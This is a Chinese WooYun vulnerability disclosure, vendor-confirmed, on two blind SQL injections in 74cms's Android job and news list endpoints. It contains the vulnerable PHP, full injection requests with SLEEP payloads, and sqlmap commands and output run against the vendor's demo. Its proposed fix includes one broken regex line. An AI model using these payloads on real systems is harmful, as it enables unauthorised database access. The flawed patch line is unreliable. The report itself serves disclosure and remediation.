当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0110023

漏洞标题:骑士CMS某接口2处SQL盲注#2(官网demo测试)

相关厂商:74c,s.com

漏洞作者: 龟兔赛跑

提交时间:2015-04-24 16:21

修复时间:2015-07-23 16:56

公开时间:2015-07-23 16:56

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-24: 细节已通知厂商并且等待厂商处理中
2015-04-24: 厂商已经确认,细节仅向厂商公开
2015-04-27: 细节向第三方安全合作伙伴开放
2015-06-18: 细节向核心白帽子及相关领域专家公开
2015-06-28: 细节向普通白帽子公开
2015-07-08: 细节向实习白帽子公开
2015-07-23: 细节向公众公开

简要描述:

骑士CMS某接口2处SQL盲注#2(官网demo测试)

详细说明:

手机客户端2处接口存在SQL注入,SELECT注入无关键字过滤,理论上可以获取任意数据。
0x01: http://demo.74cms.com/android/jobs.php
=========================================================
对应代码:

14  if (!empty($aset['displayorder']))
15 {
16 $arr=explode('>',$aset['displayorder']);
17 $arr[1]=preg_match('/asc|desc/',$arr[1])?$arr[1]:"desc";
18 if ($arr[0]=="rtime")
19 {
20 $orderbysql=" ORDER BY refreshtime {$arr[1]}";
21 $jobstable=table('jobs_search_rtime');
22 }

displayorder参数过滤不正确导致SQL注入。
"displayorder":"rtime> limit 1 #desc"返回一行数据:

POST /android/jobs.php HTTP/1.1
Host: demo.74cms.com
User-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:37.0) Gecko/20100101 Firefox/37.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: null
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 66
Cookie: safedog-flow-item=7308413BC1624F4F2DF983295AAE94E8; PHPSESSID=735536f52f85396245830255c85834c4
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
req={"androidkey":"123456","displayorder":"rtime> limit 1 #desc"}


1.png


"displayorder":"rtime> limit 2 #desc"返回两行数据:

POST /android/jobs.php HTTP/1.1
Host: demo.74cms.com
User-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:37.0) Gecko/20100101 Firefox/37.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: null
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 66
Cookie: safedog-flow-item=7308413BC1624F4F2DF983295AAE94E8; PHPSESSID=735536f52f85396245830255c85834c4
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
req={"androidkey":"123456","displayorder":"rtime> limit 2 #desc"}


{"result":1,"errormsg":"","list":[{"id":"140","uid":"585","jobs_name":"服装销售员","companyname":"大可为服装有限公司","company_id":"139","company_addtime":"2015-01-06","company_audit":"0","recommend":"0","emergency":"0","highlight":"","stick":"0","nature":"62","nature_cn":"全职","sex":"3","sex_cn":"不限","age":"-","amount":"2","topclass":"74","category":"76","subclass":"0","category_cn":"互联网/网络","trade":"2","trade_cn":"计算机系统/维修","scale":"81","scale_cn":"20-99人","district":"17","sdistrict":"278","district_cn":"河南省/郑州市","street":"0","street_cn":"","education":"66","education_cn":"高中","experience":"75","experience_cn":"1年以下","wage":"55","wage_cn":"面议","negotiable":"0","graduate":"0","contents":"通过在货场与消费者交流向消费者宣传货品和专卖店形象,提高品牌知名度。 
随时维护店内形象,确保店内形象...","addtime":"2015-01-06","deadline":"2016-01-06","refreshtime":"2015-01-06","setmeal_deadline":"1970-01-01","setmeal_id":"0","setmeal_name":"","audit":"1","click":"67","add_mode":"1","officebuilding_cn":null,"refreshtime_cn":"1970-01-01"},{"id":"147","uid":"641","jobs_name":"制衣","companyname":"锐创针织制衣厂","company_id":"156","company_addtime":"2015-02-10","company_audit":"0","recommend":"0","emergency":"0","highlight":"","stick":"0","nature":"62","nature_cn":"全职","sex":"3","sex_cn":"不限","age":"-","amount":"5","topclass":"116","category":"122","subclass":"0","category_cn":"服装/纺织品","trade":"14","trade_cn":"服装/纺织/皮革","scale":"81","scale_cn":"20-99人","district":"22","sdistrict":"361","district_cn":"海南省/海口市","street":"0","street_cn":"","education":"66","education_cn":"高中","experience":"75","experience_cn":"1年以下","wage":"55","wage_cn":"面议","negotiable":"0","graduate":"0","contents":"懂制衣车办工艺(能车整件衣服);年龄要求:16-40周岁,身高1.50米以上16-40周岁,身高1.60米以上。素质要求:...","addtime":"2015-02-10","deadline":"2016-02-25","refreshtime":"2015-02-10","setmeal_deadline":"1970-01-01","setmeal_id":"0","setmeal_name":"","audit":"1","click":"45","add_mode":"1","officebuilding_cn":null,"refreshtime_cn":"1970-01-01"}]}


2.png


SQLMAP跑一跑:

$ python sqlmap.py -u "http://demo.74cms.com/android/jobs.php" --data="req={%22androidkey%22: 123456, %22displayorder%22: %22rtime>%23desc%22}"  --dbms=mysql --random-agent --prefix="{%22androidkey%22: 123456, %22displayorder%22: %22rtime>" --suffix="%23desc%22}" -p req --tamper=74cmsbetween --proxy="http://127.0.0.1:6666" --test-filter='MySQL >= 5.0.12 AND time-based blind (SELECT)' --delay=1
_
___ ___| |_____ ___ ___ {1.0-dev-7517db7}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 22:24:10
[22:24:10] [INFO] loading tamper script '74cmsbetween'
[22:24:10] [INFO] fetched random HTTP User-Agent header from file '/pub/scm/tools/sqlmap-dev/txt/user-agents.txt': 'Opera/9.10 (Windows NT 6.0; U; it-IT)'
[22:24:10] [INFO] testing connection to the target URL
[22:24:13] [INFO] testing if the target URL is stable. This can take a couple of seconds
[22:24:16] [INFO] target URL is stable
[22:24:18] [WARNING] heuristic (basic) test shows that POST parameter 'req' might not be injectable
[22:24:19] [INFO] testing for SQL injection on POST parameter 'req'
[22:24:19] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)'
[22:24:20] [WARNING] time-based comparison requires larger statistical model, please wait..........................
[22:25:19] [INFO] POST parameter 'req' seems to be 'MySQL >= 5.0.12 AND time-based blind (SELECT)' injectable
[22:25:20] [INFO] checking if the injection point on POST parameter 'req' is a false positive
POST parameter 'req' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection points with a total of 35 HTTP(s) requests:
---
Parameter: req (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: req={"androidkey": 123456, "displayorder": "rtime> AND (SELECT * FROM (SELECT(SLEEP(5)))rtQx)#desc"}
---
[22:27:28] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[22:27:28] [INFO] testing MySQL
[22:27:28] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] n
[22:27:42] [INFO] confirming MySQL
[22:28:04] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0
[22:28:04] [INFO] fetched data logged to text files under '/home/abc/.sqlmap/output/demo.74cms.com'
[*] shutting down at 22:28:04


0x02: http://demo.74cms.com/android/news-list.php
=========================================================

16  if ($aset['displayorder'])
17 {
18 if (strpos($aset['displayorder'],'>'))
19 {
20 $arr=explode('>',$aset['displayorder']);
21 $arr[0]=preg_match('/article_order|click|id/',$arr[0])?$arr[0]:"";
22 $arr[1]=preg_match('/asc|desc/',$arr[1])?$arr[1]:"";
23 if ($arr[0] && $arr[1])
24 {
25 $orderbysql=" ORDER BY ".$arr[0]." ".$arr[1];
26 }
27 if ($arr[0]=="article_order")
28 {
29 $orderbysql.=" ,id DESC ";
30 }
31 }
32 }

displayorder参数过滤不正确导致SQL注入。
"displayorder":"id> limit 1 #desc"返回一行数据:

POST /android/news-list.php HTTP/1.1
Host: demo.74cms.com
User-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:37.0) Gecko/20100101 Firefox/37.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: null
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 63
Cookie: safedog-flow-item=7308413BC1624F4F2DF983295AAE94E8; PHPSESSID=735536f52f85396245830255c85834c4
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
req={"androidkey":"123456","displayorder":"id> limit 2 #desc"}


3.png


"displayorder": "id> abc#desc"返回数据库错误:

POST /android/news-list.php HTTP/1.1
Host: demo.74cms.com
User-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:37.0) Gecko/20100101 Firefox/37.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: null
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 59
Cookie: safedog-flow-item=7308413BC1624F4F2DF983295AAE94E8; PHPSESSID=735536f52f85396245830255c85834c4
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
req={"androidkey":"123456","displayorder":"id> abc #desc"}


4.png


"displayorder": "id> A<A>ND (SE<A>LECT * F<A>ROM (S<A>ELECT(S<A>LEEP(5)))MqQf)#desc"延时5秒返回数据:

5.png


SQLMAP:

$ python sqlmap.py -u "http://demo.74cms.com/android/news-list.php" --data="req={%22androidkey%22: 123456, %22displayorder%22: %22rtime>%23id%22}"  --dbms=mysql --random-agent --prefix="{%22androidkey%22: 123456, %22displayorder%22: %22id>" --suffix="%23desc%22}" -p req --tamper=74cmsbetween --proxy="http://127.0.0.1:6666" --test-filter='MySQL >= 5.0.12 AND time-based blind (SELECT)' --delay=1
_
___ ___| |_____ ___ ___ {1.0-dev-7517db7}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 22:38:26
[22:38:26] [INFO] loading tamper script '74cmsbetween'
[22:38:26] [INFO] fetched random HTTP User-Agent header from file '/pub/scm/tools/sqlmap-dev/txt/user-agents.txt': 'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.153.0 Safari/525.19'
[22:38:26] [INFO] testing connection to the target URL
[22:38:29] [INFO] testing if the target URL is stable. This can take a couple of seconds
[22:38:31] [INFO] target URL is stable
[22:38:32] [WARNING] heuristic (basic) test shows that POST parameter 'req' might not be injectable
[22:38:34] [INFO] testing for SQL injection on POST parameter 'req'
[22:38:34] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)'
[22:38:35] [WARNING] time-based comparison requires larger statistical model, please wait..........................
[22:39:21] [INFO] POST parameter 'req' seems to be 'MySQL >= 5.0.12 AND time-based blind (SELECT)' injectable
[22:39:21] [INFO] checking if the injection point on POST parameter 'req' is a false positive
POST parameter 'req' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection points with a total of 35 HTTP(s) requests:
---
Parameter: req (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: req={"androidkey": 123456, "displayorder": "id> AND (SELECT * FROM (SELECT(SLEEP(5)))MqQf)#desc"}
---
[22:40:11] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[22:40:11] [INFO] testing MySQL
[22:40:11] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] n
[22:40:20] [INFO] confirming MySQL
[22:40:33] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0
[22:40:33] [INFO] fetched data logged to text files under '/home/abc/.sqlmap/output/demo.74cms.com'
[*] shutting down at 22:40:33

漏洞证明:

$ python sqlmap.py -u "http://demo.74cms.com/android/jobs.php" --data="req={%22androidkey%22: 123456, %22displayorder%22: %22rtime>%23desc%22}"  --dbms=mysql --random-agent --prefix="{%22androidkey%22: 123456, %22displayorder%22: %22rtime>" --suffix="%23desc%22}" -p req --tamper=74cmsbetween --proxy="http://127.0.0.1:6666" --test-filter='MySQL >= 5.0.12 AND time-based blind (SELECT)' --delay=1
_
___ ___| |_____ ___ ___ {1.0-dev-7517db7}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 22:24:10
[22:24:10] [INFO] loading tamper script '74cmsbetween'
[22:24:10] [INFO] fetched random HTTP User-Agent header from file '/pub/scm/tools/sqlmap-dev/txt/user-agents.txt': 'Opera/9.10 (Windows NT 6.0; U; it-IT)'
[22:24:10] [INFO] testing connection to the target URL
[22:24:13] [INFO] testing if the target URL is stable. This can take a couple of seconds
[22:24:16] [INFO] target URL is stable
[22:24:18] [WARNING] heuristic (basic) test shows that POST parameter 'req' might not be injectable
[22:24:19] [INFO] testing for SQL injection on POST parameter 'req'
[22:24:19] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)'
[22:24:20] [WARNING] time-based comparison requires larger statistical model, please wait..........................
[22:25:19] [INFO] POST parameter 'req' seems to be 'MySQL >= 5.0.12 AND time-based blind (SELECT)' injectable
[22:25:20] [INFO] checking if the injection point on POST parameter 'req' is a false positive
POST parameter 'req' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection points with a total of 35 HTTP(s) requests:
---
Parameter: req (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: req={"androidkey": 123456, "displayorder": "rtime> AND (SELECT * FROM (SELECT(SLEEP(5)))rtQx)#desc"}
---
[22:27:28] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[22:27:28] [INFO] testing MySQL
[22:27:28] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] n
[22:27:42] [INFO] confirming MySQL
[22:28:04] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0
[22:28:04] [INFO] fetched data logged to text files under '/home/abc/.sqlmap/output/demo.74cms.com'
[*] shutting down at 22:28:04


$ python sqlmap.py -u "http://demo.74cms.com/android/news-list.php" --data="req={%22androidkey%22: 123456, %22displayorder%22: %22rtime>%23id%22}"  --dbms=mysql --random-agent --prefix="{%22androidkey%22: 123456, %22displayorder%22: %22id>" --suffix="%23desc%22}" -p req --tamper=74cmsbetween --proxy="http://127.0.0.1:6666" --test-filter='MySQL >= 5.0.12 AND time-based blind (SELECT)' --delay=1
_
___ ___| |_____ ___ ___ {1.0-dev-7517db7}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 22:38:26
[22:38:26] [INFO] loading tamper script '74cmsbetween'
[22:38:26] [INFO] fetched random HTTP User-Agent header from file '/pub/scm/tools/sqlmap-dev/txt/user-agents.txt': 'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.153.0 Safari/525.19'
[22:38:26] [INFO] testing connection to the target URL
[22:38:29] [INFO] testing if the target URL is stable. This can take a couple of seconds
[22:38:31] [INFO] target URL is stable
[22:38:32] [WARNING] heuristic (basic) test shows that POST parameter 'req' might not be injectable
[22:38:34] [INFO] testing for SQL injection on POST parameter 'req'
[22:38:34] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)'
[22:38:35] [WARNING] time-based comparison requires larger statistical model, please wait..........................
[22:39:21] [INFO] POST parameter 'req' seems to be 'MySQL >= 5.0.12 AND time-based blind (SELECT)' injectable
[22:39:21] [INFO] checking if the injection point on POST parameter 'req' is a false positive
POST parameter 'req' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection points with a total of 35 HTTP(s) requests:
---
Parameter: req (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: req={"androidkey": 123456, "displayorder": "id> AND (SELECT * FROM (SELECT(SLEEP(5)))MqQf)#desc"}
---
[22:40:11] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[22:40:11] [INFO] testing MySQL
[22:40:11] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] n
[22:40:20] [INFO] confirming MySQL
[22:40:33] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0
[22:40:33] [INFO] fetched data logged to text files under '/home/abc/.sqlmap/output/demo.74cms.com'
[*] shutting down at 22:40:33

修复方案:

0x01: android/jobs.php:
17 $arr[1]=preg_match('/asc|desc/',$arr[1])?$arr[1]:"desc";
=>
17 $arr[1]=preg_match('/asc/',$arr[1])?"asc":"desc";
0x02:
21 $arr[0]=preg_match('/article_order|click|id/',$arr[0])?$arr[0]:"";
=>
if ($arr[0] == 'article_order') {
...
} else ...
22 $arr[1]=preg_match('/asc|desc/',$arr[1])?$arr[1]:"";
=>
22 $arr[1]=preg_match('/asc',$arr[1])?"asc":"";

版权声明:转载请注明来源 龟兔赛跑@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-04-24 16:54

厂商回复:

最新状态:

暂无